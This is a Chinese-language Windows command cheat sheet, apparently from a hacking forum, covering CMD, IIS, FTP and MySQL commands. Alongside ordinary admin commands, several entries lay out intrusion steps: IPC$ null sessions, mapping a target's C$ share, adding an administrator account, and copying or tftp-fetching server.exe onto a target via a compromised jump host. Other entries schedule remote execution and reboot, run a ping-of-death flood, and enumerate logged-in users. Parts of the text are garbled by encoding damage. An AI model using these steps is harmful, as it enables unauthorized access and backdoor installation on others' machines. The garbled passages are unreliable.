net use [url=file://ip/ipc$]\\ip\ipc$[/url] " " /user:" " 建立IPC空鏈接
net use [url=file://ip/ipc$]\\ip\ipc$[/url] "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: [url=file://ip/c$]\\ip\c$[/url] "密碼" /user:"用戶名" 直接登陸后映射對方C：到本地為H:
net use h: [url=file://ip/c$]\\ip\c$[/url] 登陸后映射對方C：到本地為H:
net use [url=file://ip/ipc$]\\ip\ipc$[/url] /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名　密碼　/add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup ***istrators 用戶名 /add 把“用戶”添加到管理員中使其具有管理員權(quán)限,注意：***istrator后加s用復(fù)數(shù)
net start 查看開啟了哪些服務(wù)
net start 服務(wù)名　 開啟服務(wù)；(如:net start telnet， net start schedule)
net stop 服務(wù)名 停止某服務(wù)
net time \\目標(biāo)ip 查看對方時間
net time \\目標(biāo)ip /set 設(shè)置本地計算機時間與“目標(biāo)IP”主機的時間同步,加上參數(shù)/yes可取消確認(rèn)信息
net view 查看本地局域網(wǎng)內(nèi)開啟了哪些共享
net view [url=file://ip/]\\ip[/url] 查看對方局域網(wǎng)內(nèi)開啟了哪些共享
net config 顯示系統(tǒng)網(wǎng)絡(luò)設(shè)置
net logoff 斷開連接的共享
net pause 服務(wù)名 暫停某服務(wù)
net send ip "文本信息" 向?qū)Ψ桨l(fā)信息
net ver 局域網(wǎng)內(nèi)正在使用的網(wǎng)絡(luò)連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C：共享
net user guest 12345 用guest用戶登陸后用將密碼改為12345
net password 密碼 更改系統(tǒng)登陸密碼
netstat -a 查看開啟了哪些端口,常用netstat -an
netstat -n 查看端口的網(wǎng)絡(luò)連接情況，常用netstat -an
netstat -v 查看正在進(jìn)行的工作
netstat -p 協(xié)議名 例：netstat -p tcq/ip 查看某協(xié)議使用情況（查看tcp/ip協(xié)議使用情況）
netstat -s 查看正在使用的所有協(xié)議使用情況
nbtstat -A ip 對方136到139其中一個端口開了的話，就可查看對方最近登陸的用戶名（03前的為用戶名）-注意：參數(shù)-A要大寫
tracert -參數(shù) ip(或計算機名) 跟蹤路由（數(shù)據(jù)包），參數(shù)：“-w數(shù)字”用于設(shè)置超時間隔。
ping ip(或域名) 向?qū)Ψ街鳈C發(fā)送默認(rèn)大小為32字節(jié)的數(shù)據(jù)，參數(shù)：“-l[空格]數(shù)據(jù)包大小”；“-n發(fā)送數(shù)據(jù)次數(shù)”；“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(發(fā)送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用參數(shù)“/all”顯示全部配置信息
tlist -t 以樹行列表顯示進(jìn)程(為系統(tǒng)的附加工具，默認(rèn)是沒有安裝的，在安裝目錄的Support/tools文件夾內(nèi))
kill -F 進(jìn)程名 加-F參數(shù)后強制結(jié)束某進(jìn)程(為系統(tǒng)的附加工具，默認(rèn)是沒有安裝的，在安裝目錄的Support/tools文件夾內(nèi))
del -F 文件名 加-F參數(shù)后就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統(tǒng)、存檔文件，/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統(tǒng)、存檔以外的文件。例如“DEL/AR *.*”表示刪除當(dāng)前目錄下所有只讀文件，“DEL/A-S *.*”表示刪除當(dāng)前目錄下除系統(tǒng)文件以外的所有文件
del /S /Q 目錄 或用：rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數(shù)/Q 可取消刪除操作時的系統(tǒng)確認(rèn)就直接刪除。（二個命令作用相同）
move 盤符\路徑\要移動的文件名　存放移動文件的路徑\移動后文件名 移動文件,用參數(shù)/y將取消確認(rèn)移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件并把不同之處輸出到3st.txt文件中，"> "和"> >" 是重定向命令
at id號 開啟已注冊的某個計劃任務(wù)
at /delete 停止所有計劃任務(wù)，用參數(shù)/yes則不需要確認(rèn)就直接停止
at id號 /delete 停止某個已注冊的計劃任務(wù)
at 查看所有的計劃任務(wù)
at [url=file://ip/]\\ip[/url] time 程序名(或一個命令) /r 在某時間運行對方某程序并重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 端口 遠(yuǎn)和登陸服務(wù)器,默認(rèn)端口為23
open ip 連接到IP（屬telnet登陸后的命令）
telnet 在本機上直接鍵入telnet 將進(jìn)入本機的telnet
copy 路徑\文件名1　路徑\文件名2 /y 復(fù)制文件1到指定的目錄為文件2，用參數(shù)/y就同時取消確認(rèn)你要改寫一份現(xiàn)存目錄文件
copy c:\srv.exe [url=file://ip/***$]\\ip\***$[/url] 復(fù)制本地c:\srv.exe到對方的***下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內(nèi)容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件頭要空三排，參數(shù)：/b指二進(jìn)制文件，/a指ASCLL格式文件
copy [url=file://ip/***$/svv.exe]\\ip\***$\svv.exe[/url] c:\ 或:copy\\ip\***$\*.* 復(fù)制對方***i$共享下的srv.exe文件（所有文件）至本地C：
xcopy 要復(fù)制的文件或目錄樹　目標(biāo)地址\目錄名 復(fù)制文件和目錄樹，用參數(shù)/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸后，將“IP”的server.exe下載到目標(biāo)主機c:\server.exe 參數(shù)：-i指以二進(jìn)制模式傳送，如傳送exe文件時用，如不加-i 則以ASCII模式（傳送文本文件模式）進(jìn)行傳送
tftp -i 對方IP　put c:\server.exe 登陸后，上傳本地c:\server.exe至主機
ftp ip 端口 用于上傳文件至服務(wù)器或進(jìn)行文件操作，默認(rèn)端口為21。bin指用二進(jìn)制方式傳送（可執(zhí)行文件進(jìn)）；默認(rèn)為ASCII格式傳送(文本文件時)
route print 顯示出IP路由，將主要顯示網(wǎng)絡(luò)地址Network addres，子網(wǎng)掩碼Netmask，網(wǎng)關(guān)地址Gateway addres，接口地址Interface
arp 查看和處理ARP緩存，ARP是名字解析的意思，負(fù)責(zé)把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口并最大化（最小化）運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件（目錄）的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔，只讀，系統(tǒng)，隱藏 屬性；用＋則是添加為某屬性
dir 查看文件，參數(shù)：/Q顯示文件及目錄屬系統(tǒng)哪個用戶，/T:C顯示文件創(chuàng)建時間，/T:A顯示文件上次被訪問時間，/T:W上次被修改時間
date /t 、 time /t 使用此參數(shù)即“DATE/T”、“TIME/T”將只顯示當(dāng)前日期和時間，而不必輸入新日期和時間
set 指定環(huán)境變量名稱=要指派給變量的字符 設(shè)置環(huán)境變量
set 顯示當(dāng)前所有的環(huán)境變量
set p(或其它字符) 顯示出當(dāng)前以字符p(或其它字符)開頭的所有環(huán)境變量
pause 暫停批處理程序，并顯示出：請按任意鍵繼續(xù)....
if 在批處理程序中執(zhí)行條件處理（更多說明見if命令及變量）
goto 標(biāo)簽 將cmd.exe導(dǎo)向到批處理程序中帶標(biāo)簽的行（標(biāo)簽必須單獨一行，且以冒號打頭，例如：“：start”標(biāo)簽）
call 路徑\批處理文件名 從批處理程序中調(diào)用另一個批處理程序 （更多說明見call /?）
for 對一組文件中的每一個文件執(zhí)行某個特定命令（更多說明見for命令及變量）
echo on或off 打開或關(guān)閉echo，僅用echo不加參數(shù)則顯示當(dāng)前echo設(shè)置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字符串hello
find 文件名 查找某文件
title 標(biāo)題名字 更改CMD窗口標(biāo)題名字
color 顏色值 設(shè)置cmd控制臺前景和背景顏色；0＝黑、1＝藍(lán)、2＝綠、3＝淺綠、4＝紅、5＝紫、6＝黃、7=白、8=灰、9=淡藍(lán)、A＝淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統(tǒng)一改為：EntSky\ )
ver 在DOS窗口下顯示版本信息
winver 彈出一個窗口顯示版本信息（內(nèi)存大小、系統(tǒng)版本、補丁版本、計算機名）
format 盤符 /FS:類型 格式化磁盤,類型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS
md　目錄名 創(chuàng)建目錄
replace 源文件　要替換文件的目錄 替換文件
ren 原文件名　新文件名 重命名文件名
tree 以樹形結(jié)構(gòu)顯示出目錄，用參數(shù)-f 將列出第個文件夾中文件名稱
type 文件名 顯示文本文件的內(nèi)容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令＝字符
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行，重新調(diào)用win2k命令，并創(chuàng)建宏)。如：鎖定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解鎖：doskey dir=
taskmgr 調(diào)出任務(wù)管理器
chkdsk /F D: 檢查磁盤D并顯示狀態(tài)報告；加參數(shù)/f并修復(fù)磁盤上的錯誤
tlntadmn telnt服務(wù)admn,鍵入tlntadmn選擇3，再選擇8,就可以更改telnet服務(wù)默認(rèn)端口23為其它任何端口
exit 退出cmd.exe程序或目前，用參數(shù)/B則是退出當(dāng)前批處理腳本而不是cmd.exe
path 路徑\可執(zhí)行文件的文件名 為可執(zhí)行文件設(shè)置一個路徑。
cmd 啟動一個win2K命令解釋窗口。參數(shù)：/eff、/en 關(guān)閉、開啟命令擴展；更我詳細(xì)說明見cmd /?
regedit /s 注冊表文件名 導(dǎo)入注冊表；參數(shù)/S指安靜模式導(dǎo)入，無任何提示；
regedit /e 注冊表文件名 導(dǎo)出注冊表
cacls 文件名　參數(shù) 顯示或修改文件訪問控制列表（ACL）——針對NTFS格式時。參數(shù)：/D 用戶名:設(shè)定拒絕某用戶訪問；/P 用戶名erm 替換指定用戶的訪問權(quán)限；/G 用戶名erm 賦予指定用戶訪問權(quán)限；Perm 可以是: N 無，R 讀取， W 寫入， C 更改(寫入)，F(xiàn) 完全控制；例：cacls D:\test.txt /D pub 設(shè)定d:\test.txt拒絕pub用戶訪問。
cacls 文件名 查看文件的訪問用戶權(quán)限列表
REM 文本內(nèi)容 在批處理文件中添加注解
netsh 查看或更改本地網(wǎng)絡(luò)配置情況
IIS服務(wù)命令：
iisreset /reboot 重啟win2k計算機（但有提示系統(tǒng)將重啟信息出現(xiàn)）
iisreset /start或stop 啟動（停止）所有Internet服務(wù)
iisreset /restart 停止然后重新啟動所有Internet服務(wù)
iisreset /status 顯示所有Internet服務(wù)狀態(tài)
iisreset /enable或disable 在本地系統(tǒng)上啟用（禁用）Internet服務(wù)的重新啟動
iisreset /rebootonerror 當(dāng)啟動、停止或重新啟動Internet服務(wù)時，若發(fā)生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務(wù)，將不會強制終止Internet服務(wù)
iisreset /timeout Val在到達(dá)逾時間（秒）時，仍未停止Internet服務(wù)，若指定/rebootonerror參數(shù)，則電腦將會重新開機。預(yù)設(shè)值為重新啟動20秒，停止60秒，重新開機0秒。
FTP 命令： (后面有詳細(xì)說明內(nèi)容)
ftp的命令行格式為:
ftp －v －d －i －n －g[主機名] －v 顯示遠(yuǎn)程服務(wù)器的所有響應(yīng)信息。
－d 使用調(diào)試方式。
－n 限制ftp的自動登錄,即不使用.netrc文件。
－g 取消全局文件名。
help [命令] 或 ？[命令] 查看命令說明
bye 或 quit 終止主機FTP進(jìn)程,并退出FTP管理方式.
pwd 列出當(dāng)前遠(yuǎn)端主機目錄
put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠(yuǎn)端主機中
get 或 recv [遠(yuǎn)程主機文件名] [下載到本地后的文件名] 從遠(yuǎn)端主機中傳送至本地主機中
mget [remote-files] 從遠(yuǎn)端主機接收一批文件至本地主機
mput local-files 將本地主機中一批文件傳送至遠(yuǎn)端主機
dir 或 ls [remote-directory] [local-file] 列出當(dāng)前遠(yuǎn)端主機目錄中的文件.如果有本地文件,就將結(jié)果寫至本地文件
ascii 設(shè)定以ASCII方式傳送文件(缺省值)
bin 或 image 設(shè)定以二進(jìn)制方式傳送文件
bell 每完成一次文件傳送,報警提示
cdup 返回上一級目錄
close 中斷與遠(yuǎn)程服務(wù)器的ftp會話(與open對應(yīng))
open host[port] 建立指定ftp服務(wù)器連接,可指定連接端口
delete 刪除遠(yuǎn)端主機中的文件
mdelete [remote-files] 刪除一批文件
mkdir directory-name 在遠(yuǎn)端主機中建立目錄
rename [from] [to] 改變遠(yuǎn)端主機中的文件名
rmdir directory-name 刪除遠(yuǎn)端主機中的目錄
status 顯示當(dāng)前FTP的狀態(tài)
system 顯示遠(yuǎn)端主機系統(tǒng)類型
user user-name [password] [account] 重新以別的用戶名登錄遠(yuǎn)端主機
open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義宏命令
lcd 改變當(dāng)前本地主機的工作目錄,如果缺省,就轉(zhuǎn)到當(dāng)前用戶的HOME目錄
chmod 改變遠(yuǎn)端主機的文件權(quán)限
case 當(dāng)為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉(zhuǎn)換為小寫字母
cd remote－dir 進(jìn)入遠(yuǎn)程主機目錄
cdup 進(jìn)入遠(yuǎn)程主機目錄的父目錄
! 在本地機中執(zhí)行交互shell，exit回到ftp環(huán)境,如!ls＊.zip
MYSQL 命令：
mysql -h主機地址 -u用戶名 －p密碼 連接MYSQL;如果剛安裝好MYSQL，超級用戶root是沒有密碼的。
（例：mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格，其它也一樣）
exit 退出MYSQL
mysql*** -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 數(shù)據(jù)庫.* to 用戶名@登錄主機 identified by \"密碼\"; 增加新用戶。（注意：和上面不同，下面的因為是MYSQL環(huán)境中的命令，所以后面都帶一個分號作為命令結(jié)束符）
show databases; 顯示數(shù)據(jù)庫列表。剛開始時才兩個數(shù)據(jù)庫：mysql和test。mysql庫很重要它里面有MYSQL的系統(tǒng)信息，我們改密碼和新增用戶，實際上就是用這個庫進(jìn)行操作。